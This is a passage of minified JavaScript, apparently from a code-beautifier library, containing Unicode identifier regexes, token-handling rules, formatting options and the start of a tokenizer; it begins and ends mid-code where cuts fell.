0ba8-\u0baa\u0bae-\u0bb9\u0bd0\u0c05-\u0c0c\u0c0e-\u0c10\u0c12-\u0c28\u0c2a-\u0c33\u0c35-\u0c39\u0c3d\u0c58\u0c59\u0c60\u0c61\u0c85-\u0c8c\u0c8e-\u0c90\u0c92-\u0ca8\u0caa-\u0cb3\u0cb5-\u0cb9\u0cbd\u0cde\u0ce0\u0ce1\u0cf1\u0cf2\u0d05-\u0d0c\u0d0e-\u0d10\u0d12-\u0d3a\u0d3d\u0d4e\u0d60\u0d61\u0d7a-\u0d7f\u0d85-\u0d96\u0d9a-\u0db1\u0db3-\u0dbb\u0dbd\u0dc0-\u0dc6\u0e01-\u0e30\u0e32\u0e33\u0e40-\u0e46\u0e81\u0e82\u0e84\u0e87\u0e88\u0e8a\u0e8d\u0e94-\u0e97\u0e99-\u0e9f\u0ea1-\u0ea3\u0ea5\u0ea7\u0eaa\u0eab\u0ead-\u0eb0\u0eb2\u0eb3\u0ebd\u0ec0-\u0ec4\u0ec6\u0edc-\u0edf\u0f00\u0f40-\u0f47\u0f49-\u0f6c\u0f88-\u0f8c\u1000-\u102a\u103f\u1050-\u1055\u105a-\u105d\u1061\u1065\u1066\u106e-\u1070\u1075-\u1081\u108e\u10a0-\u10c5\u10c7\u10cd\u10d0-\u10fa\u10fc-\u1248\u124a-\u124d\u1250-\u1256\u1258\u125a-\u125d\u1260-\u1288\u128a-\u128d\u1290-\u12b0\u12b2-\u12b5\u12b8-\u12be\u12c0\u12c2-\u12c5\u12c8-\u12d6\u12d8-\u1310\u1312-\u1315\u1318-\u135a\u1380-\u138f\u13a0-\u13f4\u1401-\u166c\u166f-\u167f\u1681-\u169a\u16a0-\u16ea\u16ee-\u16f0\u1700-\u170c\u170e-\u1711\u1720-\u1731\u1740-\u1751\u1760-\u176c\u176e-\u1770\u1780-\u17b3\u17d7\u17dc\u1820-\u1877\u1880-\u18a8\u18aa\u18b0-\u18f5\u1900-\u191c\u1950-\u196d\u1970-\u1974\u1980-\u19ab\u19c1-\u19c7\u1a00-\u1a16\u1a20-\u1a54\u1aa7\u1b05-\u1b33\u1b45-\u1b4b\u1b83-\u1ba0\u1bae\u1baf\u1bba-\u1be5\u1c00-\u1c23\u1c4d-\u1c4f\u1c5a-\u1c7d\u1ce9-\u1cec\u1cee-\u1cf1\u1cf5\u1cf6\u1d00-\u1dbf\u1e00-\u1f15\u1f18-\u1f1d\u1f20-\u1f45\u1f48-\u1f4d\u1f50-\u1f57\u1f59\u1f5b\u1f5d\u1f5f-\u1f7d\u1f80-\u1fb4\u1fb6-\u1fbc\u1fbe\u1fc2-\u1fc4\u1fc6-\u1fcc\u1fd0-\u1fd3\u1fd6-\u1fdb\u1fe0-\u1fec\u1ff2-\u1ff4\u1ff6-\u1ffc\u2071\u207f\u2090-\u209c\u2102\u2107\u210a-\u2113\u2115\u2119-\u211d\u2124\u2126\u2128\u212a-\u212d\u212f-\u2139\u213c-\u213f\u2145-\u2149\u214e\u2160-\u2188\u2c00-\u2c2e\u2c30-\u2c5e\u2c60-\u2ce4\u2ceb-\u2cee\u2cf2\u2cf3\u2d00-\u2d25\u2d27\u2d2d\u2d30-\u2d67\u2d6f\u2d80-\u2d96\u2da0-\u2da6\u2da8-\u2dae\u2db0-\u2db6\u2db8-\u2dbe\u2dc0-\u2dc6\u2dc8-\u2dce\u2dd0-\u2dd6\u2dd8-\u2dde\u2e2f\u3005-\u3007\u3021-\u3029\u3031-\u3035\u3038-\u303c\u3041-\u3096\u309d-\u309f\u30a1-\u30fa\u30fc-\u30ff\u3105-\u312d\u3131-\u318e\u31a0-\u31ba\u31f0-\u31ff\u3400-\u4db5\u4e00-\u9fcc\ua000-\ua48c\ua4d0-\ua4fd\ua500-\ua60c\ua610-\ua61f\ua62a\ua62b\ua640-\ua66e\ua67f-\ua697\ua6a0-\ua6ef\ua717-\ua71f\ua722-\ua788\ua78b-\ua78e\ua790-\ua793\ua7a0-\ua7aa\ua7f8-\ua801\ua803-\ua805\ua807-\ua80a\ua80c-\ua822\ua840-\ua873\ua882-\ua8b3\ua8f2-\ua8f7\ua8fb\ua90a-\ua925\ua930-\ua946\ua960-\ua97c\ua984-\ua9b2\ua9cf\uaa00-\uaa28\uaa40-\uaa42\uaa44-\uaa4b\uaa60-\uaa76\uaa7a\uaa80-\uaaaf\uaab1\uaab5\uaab6\uaab9-\uaabd\uaac0\uaac2\uaadb-\uaadd\uaae0-\uaaea\uaaf2-\uaaf4\uab01-\uab06\uab09-\uab0e\uab11-\uab16\uab20-\uab26\uab28-\uab2e\uabc0-\uabe2\uac00-\ud7a3\ud7b0-\ud7c6\ud7cb-\ud7fb\uf900-\ufa6d\ufa70-\ufad9\ufb00-\ufb06\ufb13-\ufb17\ufb1d\ufb1f-\ufb28\ufb2a-\ufb36\ufb38-\ufb3c\ufb3e\ufb40\ufb41\ufb43\ufb44\ufb46-\ufbb1\ufbd3-\ufd3d\ufd50-\ufd8f\ufd92-\ufdc7\ufdf0-\ufdfb\ufe70-\ufe74\ufe76-\ufefc\uff21-\uff3a\uff41-\uff5a\uff66-\uffbe\uffc2-\uffc7\uffca-\uffcf\uffd2-\uffd7\uffda-\uffdc",n=new RegExp("[".concat(t,"]")),r=new RegExp("[".concat(t," ").concat("\u0300-\u036f\u0483-\u0487\u0591-\u05bd\u05bf\u05c1\u05c2\u05c4\u05c5\u05c7\u0610-\u061a\u0620-\u0649\u0672-\u06d3\u06e7-\u06e8\u06fb-\u06fc\u0730-\u074a\u0800-\u0814\u081b-\u0823\u0825-\u0827\u0829-\u082d\u0840-\u0857\u08e4-\u08fe\u0900-\u0903\u093a-\u093c\u093e-\u094f\u0951-\u0957\u0962-\u0963\u0966-\u096f\u0981-\u0983\u09bc\u09be-\u09c4\u09c7\u09c8\u09d7\u09df-\u09e0\u0a01-\u0a03\u0a3c\u0a3e-\u0a42\u0a47\u0a48\u0a4b-\u0a4d\u0a51\u0a66-\u0a71\u0a75\u0a81-\u0a83\u0abc\u0abe-\u0ac5\u0ac7-\u0ac9\u0acb-\u0acd\u0ae2-\u0ae3\u0ae6-\u0aef\u0b01-\u0b03\u0b3c\u0b3e-\u0b44\u0b47\u0b48\u0b4b-\u0b4d\u0b56\u0b57\u0b5f-\u0b60\u0b66-\u0b6f\u0b82\u0bbe-\u0bc2\u0bc6-\u0bc8\u0bca-\u0bcd\u0bd7\u0be6-\u0bef\u0c01-\u0c03\u0c46-\u0c48\u0c4a-\u0c4d\u0c55\u0c56\u0c62-\u0c63\u0c66-\u0c6f\u0c82\u0c83\u0cbc\u0cbe-\u0cc4\u0cc6-\u0cc8\u0cca-\u0ccd\u0cd5\u0cd6\u0ce2-\u0ce3\u0ce6-\u0cef\u0d02\u0d03\u0d46-\u0d48\u0d57\u0d62-\u0d63\u0d66-\u0d6f\u0d82\u0d83\u0dca\u0dcf-\u0dd4\u0dd6\u0dd8-\u0ddf\u0df2\u0df3\u0e34-\u0e3a\u0e40-\u0e45\u0e50-\u0e59\u0eb4-\u0eb9\u0ec8-\u0ecd\u0ed0-\u0ed9\u0f18\u0f19\u0f20-\u0f29\u0f35\u0f37\u0f39\u0f41-\u0f47\u0f71-\u0f84\u0f86-\u0f87\u0f8d-\u0f97\u0f99-\u0fbc\u0fc6\u1000-\u1029\u1040-\u1049\u1067-\u106d\u1071-\u1074\u1082-\u108d\u108f-\u109d\u135d-\u135f\u170e-\u1710\u1720-\u1730\u1740-\u1750\u1772\u1773\u1780-\u17b2\u17dd\u17e0-\u17e9\u180b-\u180d\u1810-\u1819\u1920-\u192b\u1930-\u193b\u1951-\u196d\u19b0-\u19c0\u19c8-\u19c9\u19d0-\u19d9\u1a00-\u1a15\u1a20-\u1a53\u1a60-\u1a7c\u1a7f-\u1a89\u1a90-\u1a99\u1b46-\u1b4b\u1b50-\u1b59\u1b6b-\u1b73\u1bb0-\u1bb9\u1be6-\u1bf3\u1c00-\u1c22\u1c40-\u1c49\u1c5b-\u1c7d\u1cd0-\u1cd2\u1d00-\u1dbe\u1e01-\u1f15\u200c\u200d\u203f\u2040\u2054\u20d0-\u20dc\u20e1\u20e5-\u20f0\u2d81-\u2d96\u2de0-\u2dff\u3021-\u3028\u3099\u309a\ua640-\ua66d\ua674-\ua67d\ua69f\ua6f0-\ua6f1\ua7f8-\ua800\ua806\ua80b\ua823-\ua827\ua880-\ua881\ua8b4-\ua8c4\ua8d0-\ua8d9\ua8f3-\ua8f7\ua900-\ua909\ua926-\ua92d\ua930-\ua945\ua980-\ua983\ua9b3-\ua9c0\uaa00-\uaa27\uaa40-\uaa41\uaa4c-\uaa4d\uaa50-\uaa59\uaa7b\uaae0-\uaae9\uaaf2-\uaaf3\uabc0-\uabe1\uabec\uabed\uabf0-\uabf9\ufb20-\ufb28\ufe00-\ufe0f\ufe20-\ufe26\ufe33\ufe34\ufe4d-\ufe4f\uff10-\uff19\uff3f","]")),e.newline=/[\n\r\u2028\u2029]/,e.lineBreak=new RegExp("\r\n|".concat(e.newline.source)),e.allLineBreaks=new RegExp(e.lineBreak.source,"g"),e.isIdentifierStart=function(e){return e<65?36===e||64===e:e<91||(e<97?95===e:e<123||170<=e&&n.test(String.fromCharCode(e)))},e.isIdentifierChar=function(e){return e<48?36===e:e<58||!(e<65)&&(e<91||(e<97?95===e:e<123||170<=e&&r.test(String.fromCharCode(e))))};var X={BlockStatement:"BlockStatement",Statement:"Statement",ObjectLiteral:"ObjectLiteral",ArrayLiteral:"ArrayLiteral",ForInitializer:"ForInitializer",Conditional:"Conditional",Expression:"Expression"};function a(r,e){var c,a,o,d,i,s,l,f,p,t,n,u,h,g=[],m="";function v(e,t){var n=0;return e&&(n=e.indentation_level,!c.just_added_newline()&&e.line_indent_level>n&&(n=e.line_indent_level)),{mode:t,parent:e,last_text:e?e.last_text:"",last_word:e?e.last_word:"",declaration_statement:!1,declaration_assignment:!1,multiline_frame:!1,if_block:!1,else_block:!1,do_block:!1,do_while:!1,in_case_statement:!1,in_case:!1,case_body:!1,indentation_level:n,line_indent_level:e?e.line_indent_level:n,start_line_index:c.get_line_number(),ternary_depth:0}}for(u={TK_START_EXPR:function I(){R();var e=X.Expression;if("["===d.text){if("TK_WORD"===i||")"===f.last_text)return"TK_RESERVED"===i&&Z(f.last_text,o.line_starters)&&(c.space_before_token=!0),A(e),T(),w(),void(h.space_in_paren&&(c.space_before_token=!0));e=X.ArrayLiteral,_(f.mode)&&("["!==f.last_text&&(","!==f.last_text||"]"!==s&&"}"!==s)||h.keep_array_indentation||y())}else"TK_RESERVED"===i&&"for"===f.last_text?e=X.ForInitializer:"TK_RESERVED"===i&&Z(f.last_text,["if","while"])&&(e=X.Conditional);" "===f.last_text||"TK_START_BLOCK"===i?y():"TK_END_EXPR"===i||"TK_START_EXPR"===i||"TK_END_BLOCK"===i||"."===f.last_text?E(d.wanted_newline):"TK_RESERVED"===i&&"("===d.text||"TK_WORD"===i||"TK_OPERATOR"===i?"TK_RESERVED"===i&&("function"===f.last_word||"typeof"===f.last_word)||"*"===f.last_text&&"function"===s?h.space_after_anon_function&&(c.space_before_token=!0):"TK_RESERVED"!==i||!Z(f.last_text,o.line_starters)&&"catch"!==f.last_text||h.space_before_conditional&&(c.space_before_token=!0):c.space_before_token=!0;"("===d.text&&"TK_RESERVED"===i&&"await"===f.last_word&&(c.space_before_token=!0);"("===d.text&&("TK_EQUALS"!==i&&"TK_OPERATOR"!==i||x()||E());A(e),T(),h.space_in_paren&&(c.space_before_token=!0);w()},TK_END_EXPR:function D(){for(;f.mode===X.Statement;)k();f.multiline_frame&&E("]"===d.text&&_(f.mode)&&!h.keep_array_indentation);h.space_in_paren&&("TK_START_EXPR"!==i||h.space_in_empty_paren?c.space_before_token=!0:(c.trim(),c.space_before_token=!1));"]"===d.text&&h.keep_array_indentation?(T(),k()):(k(),T());c.remove_redundant_indentation(p),f.do_while&&p.mode===X.Conditional&&(p.mode=X.Expression,f.do_block=!1,f.do_while=!1)},TK_START_BLOCK:function B(){var e=M(1),t=M(2);t&&(":"===t.text&&Z(e.type,["TK_STRING","TK_WORD","TK_RESERVED"])||Z(e.text,["get","set"])&&Z(t.type,["TK_WORD","TK_RESERVED"]))?Z(s,["class","interface"])?A(X.BlockStatement):A(X.ObjectLiteral):A(X.BlockStatement);var n=!e.comments_before.length&&"}"===e.text&&"function"===f.last_word&&"TK_END_EXPR"===i;"expand"===h.brace_style||"none"===h.brace_style&&d.wanted_newline?"TK_OPERATOR"!==i&&(n||"TK_EQUALS"===i||"TK_RESERVED"===i&&N(f.last_text)&&"else"!==f.last_text)?c.space_before_token=!0:y(!1,!0):"TK_OPERATOR"!==i&&"TK_START_EXPR"!==i?"TK_START_BLOCK"===i?y():c.space_before_token=!0:_(p.mode)&&","===f.last_text&&("}"===s?c.space_before_token=!0:y());T(),w()},TK_END_BLOCK:function F(){for(;f.mode===X.Statement;)k();var e="TK_START_BLOCK"===i;"expand"===h.brace_style?e||y():e||(_(f.mode)&&h.keep_array_indentation?(h.keep_array_indentation=!1,y(),h.keep_array_indentation=!0):y());k(),T()},TK_WORD:O,TK_RESERVED:O,TK_SEMICOLON:function P(){R()&&(c.space_before_token=!1);for(;f.mode===X.Statement&&!f.if_block&&!f.do_block;)k();T()},TK_STRING:function $(){R()?c.space_before_token=!0:"TK_RESERVED"===i||"TK_WORD"===i?c.space_before_token=!0:"TK_COMMA"===i||"TK_START_EXPR"===i||"TK_EQUALS"===i||"TK_OPERATOR"===i?x()||E():y();T()},TK_EQUALS:function H(){R();f.declaration_statement&&(f.declaration_assignment=!0);c.space_before_token=!0,T(),c.space_before_token=!0},TK_OPERATOR:function U(){R();if("TK_RESERVED"===i&&N(f.last_text))return c.space_before_token=!0,void T();if("*"===d.text&&"TK_DOT"===i)return void T();if(":"===d.text&&f.in_case)return f.case_body=!0,w(),T(),y(),void(f.in_case=!1);if("::"===d.text)return void T();"TK_OPERATOR"===i&&E();var e=!0,t=!0;Z(d.text,["--","++","!","~"])||Z(d.text,["-","+"])&&(Z(i,["TK_START_BLOCK","TK_START_EXPR","TK_EQUALS","TK_OPERATOR"])||Z(f.last_text,o.line_starters)||","===f.last_text)?(t=e=!1,!d.wanted_newline||"--"!==d.text&&"++"!==d.text||y(!1,!0)," "===f.last_text&&S(f.mode)&&(e=!0),"TK_RESERVED"===i?e=!0:"TK_END_EXPR"===i?e=!("]"===f.last_text&&("--"===d.text||"++"===d.text)):"TK_OPERATOR"===i&&(e=Z(d.text,["--","-","++","+"])&&Z(f.last_text,["--","-","++","+"]),Z(d.text,["+","-"])&&Z(f.last_text,["--","++"])&&(t=!0)),f.mode!==X.BlockStatement&&f.mode!==X.Statement||"{"!==f.last_text&&" "!==f.last_text||y()):":"===d.text?0===f.ternary_depth?e=!1:f.ternary_depth-=1:"?"===d.text?f.ternary_depth+=1:"*"===d.text&&"TK_RESERVED"===i&&"function"===f.last_text&&(t=e=!1);c.space_before_token=c.space_before_token||e,T(),c.space_before_token=t},TK_COMMA:function z(){if(f.declaration_statement)return S(f.parent.mode)&&(f.declaration_assignment=!1),T(),void(f.declaration_assignment?y(f.declaration_assignment=!1,!0):(c.space_before_token=!0,h.comma_first&&E()));T(),f.mode===X.ObjectLiteral||f.mode===X.Statement&&f.parent.mode===X.ObjectLiteral?(f.mode===X.Statement&&k(),y()):(c.space_before_token=!0,h.comma_first&&E())},TK_BLOCK_COMMENT:function K(){if(c.raw)return c.add_raw_token(d),void(d.directives&&"end"===d.directives.preserve&&(h.test_output_raw||(c.raw=!1)));if(d.directives)return y(!1,!0),T(),"start"===d.directives.preserve&&(c.raw=!0),void y(!1,!0);if(!j.newline.test(d.text)&&!d.wanted_newline)return c.space_before_token=!0,T(),void(c.space_before_token=!0);var e,t=function i(e){var t;e=e.replace(/\x0d/g,"");var n=[];t=e.indexOf("\n");for(;-1!==t;)n.push(e.substring(0,t)),e=e.substring(t+1),t=e.indexOf("\n");e.length&&n.push(e);return n}(d.text),n=!1,r=!1,a=d.whitespace_before,o=a.length;y(!1,!0),1<t.length&&(!function s(e,t){for(var n=0;n<e.length;n++){var r=q(e[n]);if(r.charAt(0)!==t)return!1}return!0}(t.slice(1),"*")?function l(e,t){for(var n,r=0,a=e.length;r<a;r++)if((n=e[r])&&0!==n.indexOf(t))return!1;return!0}(t.slice(1),a)&&(r=!0):n=!0);for(T(t[0]),e=1;e<t.length;e++)y(!1,!0),n?T(" ".concat(t[e].replace(/^\s+/g,""))):r&&t[e].length>o?T(t[e].substring(o)):c.add_token(t[e]);y(!1,!0)},TK_COMMENT:function V(){d.wanted_newline?y(!1,!0):c.trim(!0);c.space_before_token=!0,T(),y(!1,!0)},TK_DOT:function W(){R();"TK_RESERVED"===i&&N(f.last_text)?c.space_before_token=!0:E(")"===f.last_text&&h.break_chained_methods);T()},TK_UNKNOWN:function G(){T(),"\n"===d.text[d.text.length-1]&&y()},TK_EOF:function Y(){for(;f.mode===X.Statement;)k()}},h={},(e=e||{}).braces_on_own_line!==undefined&&(h.brace_style=e.braces_on_own_line?"expand":"collapse"),h.brace_style=e.brace_style?e.brace_style:h.brace_style?h.brace_style:"collapse","expand-strict"===h.brace_style&&(h.brace_style="expand"),h.indent_size=e.indent_size?parseInt(e.indent_size,10):4,h.indent_char=e.indent_char?e.indent_char:" ",h.eol=e.eol?e.eol:"\n",h.preserve_newlines=e.preserve_newlines===undefined||e.preserve_newlines,h.break_chained_methods=e.break_chained_methods!==undefined&&e.break_chained_methods,h.max_preserve_newlines=e.max_preserve_newlines===undefined?0:parseInt(e.max_preserve_newlines,10),h.space_in_paren=e.space_in_paren!==undefined&&e.space_in_paren,h.space_in_empty_paren=e.space_in_empty_paren!==undefined&&e.space_in_empty_paren,h.jslint_happy=e.jslint_happy!==undefined&&e.jslint_happy,h.space_after_anon_function=e.space_after_anon_function!==undefined&&e.space_after_anon_function,h.keep_array_indentation=e.keep_array_indentation!==undefined&&e.keep_array_indentation,h.space_before_conditional=e.space_before_conditional===undefined||e.space_before_conditional,h.unescape_strings=e.unescape_strings!==undefined&&e.unescape_strings,h.wrap_line_length=e.wrap_line_length===undefined?0:parseInt(e.wrap_line_length,10),h.e4x=e.e4x!==undefined&&e.e4x,h.end_with_newline=e.end_with_newline!==undefined&&e.end_with_newline,h.comma_first=e.comma_first!==undefined&&e.comma_first,h.test_output_raw=e.test_output_raw!==undefined&&e.test_output_raw,h.jslint_happy&&(h.space_after_anon_function=!0),e.indent_with_tabs&&(h.indent_char="\t",h.indent_size=1),h.eol=h.eol.replace(/\\r/,"\r").replace(/\\n/,"\n"),l="";0<h.indent_size;)l+=h.indent_char,h.indent_size-=1;var b=0;if(r&&r.length){for(;" "===r.charAt(b)||"\t"===r.charAt(b);)m+=r.charAt(b),b+=1;r=r.substring(b)}function C(e){var t=e.newlines;if(h.keep_array_indentation&&_(f.mode))for(var n=0;n<t;n+=1)y(0<n);else if(h.max_preserve_newlines&&t>h.max_preserve_newlines&&(t=h.max_preserve_newlines),h.preserve_newlines&&1<e.newlines){y();for(var r=1;r<t;r+=1)y(!0)}u[(d=e).type]()}function E(e){if(e=e!==undefined&&e,!c.just_added_newline())if(h.preserve_newlines&&d.wanted_newline||e)y(!1,!0);else if(h.wrap_line_length){c.current_line.get_character_count()+d.text.length+(c.space_before_token?1:0)>=h.wrap_line_length&&y(!1,!0)}}function y(e,t){if(!t&&" "!==f.last_text&&","!==f.last_text&&"="!==f.last_text&&"TK_OPERATOR"!==i)for(;f.mode===X.Statement&&!f.if_block&&!f.do_block;)k();c.add_new_line(e)&&(f.multiline_frame=!0)}function L(){c.just_added_newline()&&(h.keep_array_indentation&&_(f.mode)&&d.wanted_newline?(c.current_line.push(d.whitespace_before),c.space_before_token=!1):c.set_indent(f.indentation_level)&&(f.line_indent_level=f.indentation_level))}function T(e){c.raw?c.add_raw_token(d):(h.comma_first&&"TK_COMMA"===i&&c.just_added_newline()&&","===c.previous_line.last()&&(c.previous_line.pop(),L(),c.add_token(","),c.space_before_token=!0),e=e||d.text,L(),c.add_token(e))}function w(){f.indentation_level+=1}function A(e){p=f?(t.push(f),f):v(null,e),f=v(p,e)}function _(e){return e===X.ArrayLiteral}function S(e){return Z(e,[X.Expression,X.ForInitializer,X.Conditional])}function k(){0<t.length&&(p=f,f=t.pop(),p.mode===X.Statement&&c.remove_redundant_indentation(p))}function x(){return f.parent.mode===X.ObjectLiteral&&f.mode===X.Statement&&(":"===f.last_text&&0===f.ternary_depth||"TK_RESERVED"===i&&Z(f.last_text,["get","set"]))}function R(){return!!("TK_RESERVED"===i&&Z(f.last_text,["const","let","const"])&&"TK_WORD"===d.type||"TK_RESERVED"===i&&"do"===f.last_text||"TK_RESERVED"===i&&"return"===f.last_text&&!d.wanted_newline||"TK_RESERVED"===i&&"else"===f.last_text&&("TK_RESERVED"!==d.type||"if"!==d.text)||"TK_END_EXPR"===i&&(p.mode===X.ForInitializer||p.mode===X.Conditional)||"TK_WORD"===i&&f.mode===X.BlockStatement&&!f.in_case&&"--"!==d.text&&"++"!==d.text&&"function"!==s&&"TK_WORD"!==d.type&&"TK_RESERVED"!==d.type||f.mode===X.ObjectLiteral&&(":"===f.last_text&&0===f.ternary_depth||"TK_RESERVED"===i&&Z(f.last_text,["get","set"])))&&(A(X.Statement),w(),"TK_RESERVED"===i&&Z(f.last_text,["const","let","const"])&&"TK_WORD"===d.type&&(f.declaration_statement=!0),x()||E("TK_RESERVED"===d.type&&Z(d.text,["do","for","if","while"])),!0)}function N(e){return Z(e,["case","return","do","if","throw","else"])}function M(e){var t=a+(e||0);return t<0||t>=g.length?null:g[t]}function O(){("TK_RESERVED"===d.type&&f.mode!==X.ObjectLiteral&&Z(d.text,["set","get"])&&(d.type="TK_WORD"),"TK_RESERVED"===d.type&&f.mode===X.ObjectLiteral)&&(":"===M(1).text&&(d.type="TK_WORD"));if(R()||!d.wanted_newline||S(f.mode)||"TK_OPERATOR"===i&&"--"!==f.last_text&&"++"!==f.last_text||"TK_EQUALS"===i||!h.preserve_newlines&&"TK_RESERVED"===i&&Z(f.last_text,["const","let","const","set","get"])||y(),f.do_block&&!f.do_while){if("TK_RESERVED"===d.type&&"while"===d.text)return c.space_before_token=!0,T(),c.space_before_token=!0,void(f.do_while=!0);y(),f.do_block=!1}if(f.if_block)if(f.else_block||"TK_RESERVED"!==d.type||"else"!==d.text){for(;f.mode===X.Statement;)k();f.if_block=!1,f.else_block=!1}else f.else_block=!0;if("TK_RESERVED"===d.type&&("case"===d.text||"default"===d.text&&f.in_case_statement))return y(),(f.case_body||h.jslint_happy)&&(!function e(){0<f.indentation_level&&(!f.parent||f.indentation_level>f.parent.indentation_level)&&(f.indentation_level-=1)}(),f.case_body=!1),T(),f.in_case=!0,void(f.in_case_statement=!0);if("TK_RESERVED"===d.type&&"function"===d.text&&((Z(f.last_text,["}"," "])||c.just_added_newline()&&!Z(f.last_text,["[","{",":","=",","]))&&(c.just_added_blankline()||d.comments_before.length||(y(),y(!0))),"TK_RESERVED"===i||"TK_WORD"===i?"TK_RESERVED"===i&&Z(f.last_text,["get","set","new","return","export","async"])?c.space_before_token=!0:"TK_RESERVED"===i&&"default"===f.last_text&&"export"===s?c.space_before_token=!0:y():"TK_OPERATOR"===i||"="===f.last_text?c.space_before_token=!0:(f.multiline_frame||!S(f.mode)&&!_(f.mode))&&y()),"TK_COMMA"!==i&&"TK_START_EXPR"!==i&&"TK_EQUALS"!==i&&"TK_OPERATOR"!==i||x()||E(),"TK_RESERVED"===d.type&&Z(d.text,["function","get","set"]))return T(),void(f.last_word=d.text);(n="NONE","TK_END_BLOCK"===i?"TK_RESERVED"===d.type&&Z(d.text,["else","catch","finally"])?"expand"===h.brace_style||"end-expand"===h.brace_style||"none"===h.brace_style&&d.wanted_newline?n="NEWLINE":(n="SPACE",c.space_before_token=!0):n="NEWLINE":"TK_SEMICOLON"===i&&f.mode===X.BlockStatement?n="NEWLINE":"TK_SEMICOLON"===i&&S(f.mode)?n="SPACE":"TK_STRING"===i?n="NEWLINE":"TK_RESERVED"===i||"TK_WORD"===i||"*"===f.last_text&&"function"===s?n="SPACE":"TK_START_BLOCK"===i?n="NEWLINE":"TK_END_EXPR"===i&&(c.space_before_token=!0,n="NEWLINE"),"TK_RESERVED"===d.type&&Z(d.text,o.line_starters)&&")"!==f.last_text&&(n="else"===f.last_text||"export"===f.last_text?"SPACE":"NEWLINE"),"TK_RESERVED"===d.type&&Z(d.text,["else","catch","finally"]))?"TK_END_BLOCK"!==i||"expand"===h.brace_style||"end-expand"===h.brace_style||"none"===h.brace_style&&d.wanted_newline?y():(c.trim(!0),"}"!==c.current_line.last()&&y(),c.space_before_token=!0):"NEWLINE"===n?"TK_RESERVED"===i&&N(f.last_text)?c.space_before_token=!0:"TK_END_EXPR"!==i?"TK_START_EXPR"===i&&"TK_RESERVED"===d.type&&Z(d.text,["const","let","const"])||":"===f.last_text||("TK_RESERVED"===d.type&&"if"===d.text&&"else"===f.last_text?c.space_before_token=!0:y()):"TK_RESERVED"===d.type&&Z(d.text,o.line_starters)&&")"!==f.last_text&&y():f.multiline_frame&&_(f.mode)&&","===f.last_text&&"}"===s?y():"SPACE"===n&&(c.space_before_token=!0);T(),f.last_word=d.text,"TK_RESERVED"===d.type&&"do"===d.text&&(f.do_block=!0),"TK_RESERVED"===d.type&&"if"===d.text&&(f.if_block=!0)}i="TK_START_BLOCK",s="",(c=new Q(l,m)).raw=h.test_output_raw,t=[],A(X.BlockStatement),this.beautify=function(){var e,t;for(o=new ee(r,h,l),g=o.tokenize(),a=0;e=M();){for(var n=0;n<e.comments_before.length;n++)C(e.comments_before[n]);C(e),s=f.last_text,i=e.type,f.last_text=e.text,a+=1}return t=c.get_code(),h.end_with_newline&&(t+="\n"),"\n"!=h.eol&&(t=t.replace(/[\n]/g,h.eol)),t}}function o(t){var n=0,r=-1,a=[],o=!0;this.set_indent=function(e){n=t.baseIndentLength+e*t.indent_length,r=e},this.get_character_count=function(){return n},this.is_empty=function(){return o},this.last=function(){return this._empty?null:a[a.length-1]},this.push=function(e){a.push(e),n+=e.length,o=!1},this.pop=function(){var e=null;return o||(e=a.pop(),n-=e.length,o=0===a.length),e},this.remove_indent=function(){0<r&&(r-=1,n-=t.indent_length)},this.trim=function(){for(;" "===this.last();)a.pop(),n-=1;o=0===a.length},this.toString=function(){var e="";return this._empty||(0<=r&&(e=t.indent_cache[r]),e+=a.join("")),e}}function Q(t,n){n=n||"",this.indent_cache=[n],this.baseIndentLength=n.length,this.indent_length=t.length,this.raw=!1;var r=[];this.baseIndentString=n,this.indent_string=t,this.previous_line=null,this.current_line=null,this.space_before_token=!1,this.add_outputline=function(){this.previous_line=this.current_line,this.current_line=new o(this),r.push(this.current_line)},this.add_outputline(),this.get_line_number=function(){return r.length},this.add_new_line=function(e){return(1!==this.get_line_number()||!this.just_added_newline())&&(!(!e&&this.just_added_newline())&&(this.raw||this.add_outputline(),!0))},this.get_code=function(){return r.join("\n").replace(/[\r\n\t ]+$/,"")},this.set_indent=function(e){if(1<r.length){for(;e>=this.indent_cache.length;)this.indent_cache.push(this.indent_cache[this.indent_cache.length-1]+this.indent_string);return this.current_line.set_indent(e),!0}return this.current_line.set_indent(0),!1},this.add_raw_token=function(e){for(var t=0;t<e.newlines;t++)this.add_outputline();this.current_line.push(e.whitespace_before),this.current_line.push(e.text),this.space_before_token=!1},this.add_token=function(e){this.add_space_before_token(),this.current_line.push(e)},this.add_space_before_token=function(){this.space_before_token&&!this.just_added_newline()&&this.current_line.push(" "),this.space_before_token=!1},this.remove_redundant_indentation=function(e){if(!e.multiline_frame&&e.mode!==X.ForInitializer&&e.mode!==X.Conditional)for(var t=e.start_line_index,n=r.length;t<n;)r[t].remove_indent(),t++},this.trim=function(e){for(e=e!==undefined&&e,this.current_line.trim(t,n);e&&1<r.length&&this.current_line.is_empty();)r.pop(),this.current_line=r[r.length-1],this.current_line.trim();this.previous_line=1<r.length?r[r.length-2]:null},this.just_added_newline=function(){return this.current_line.is_empty()},this.just_added_blankline=function(){return!!this.just_added_newline()&&(1===r.length||r[r.length-2].is_empty())}}var J=function J(e,t,n,r,a,o){this.type=e,this.text=t,this.comments_before=[],this.newlines=n||0,this.wanted_newline=0<n,this.whitespace_before=r||"",this.parent=null,this.directives=null};function ee(k,x,e){var R="\n\r\t ".split(""),N=/[0-9]/,M=/[01234567]/,O=/[0123456789abcdefABCDEF]/,I="+ - * / % & ++ -- = += -= *= /= %= == === != !== > < >= <= >> << >>> >>>= >>= <<= && &= | || ! ~ , : ? ^ ^= |= :: =>".split(" ");this.line_starters="continue,try,throw,return,const,let,const,if,switch,case,default,for,while,break,function,import,export".split(",");var D,B,F,P,$,H,U=this.line_starters.concat(["do","in","else","get","set","new","catch","finally","typeof","yield","async","await"]),z=/([\s\S]*?)((?:\*\/)|$)/g,K=/([^\n\r\u2028\u2029]*)/g,V=/\/\* beautify( \w+[:]\w+)+ \*\//g,W=/ (\w+)[:](\w+)/g,G=/([\s\S]*?)((?:\/\*\sbeautify\signore:end\s\*\/)|$)/g,Y=/((<\?php|<\?=)[\s\S]*?\?>)|(<%[\s\S]*?%>)/g;function i(){var e,t,n=[];if(D=0,B="",H<=$)return["","TK_EOF"];t=P.length?P[P.length-1]:new J("TK_START_BLOCK","{");var r=k.charAt($);for($+=1;Z(r,R);){if(j.newline.test(r)?"\n"===r&&"\r"===k.charAt($-2)||(D+=1,n=[]):n.push(r),H<=$)return["","TK_EOF"];r=k.charAt($),$+=1}if(n.length&&(B=n.join("")),N.test(r)){var 